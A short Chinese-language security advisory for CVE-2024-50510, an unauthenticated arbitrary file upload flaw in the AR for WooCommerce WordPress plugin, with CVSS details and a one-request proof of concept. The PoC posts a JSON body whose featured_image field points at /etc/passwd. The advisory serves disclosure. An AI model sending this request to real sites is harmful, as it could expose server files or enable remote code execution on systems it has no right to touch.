CVE-2024-50510

AR For Woocommerce <= 6.2 - 未经身份验证的任意文件上传

描述

WordPress 的 AR for WooCommerce 插件在所有版本（包括 6.2）中由于缺少文件类型验证，容易受到任意文件上传攻击。这使得未经身份验证的攻击者可以在受影响站点的服务器上上传任意文件，从而可能导致远程代码执行。

详细信息

• 类型: plugin
• 标识符: ar-for-woocommerce
• 受影响版本: 6.2
• CVSS 分数: 9.8
• CVSS 评级: 严重
• CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• 状态: 活跃

PoC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}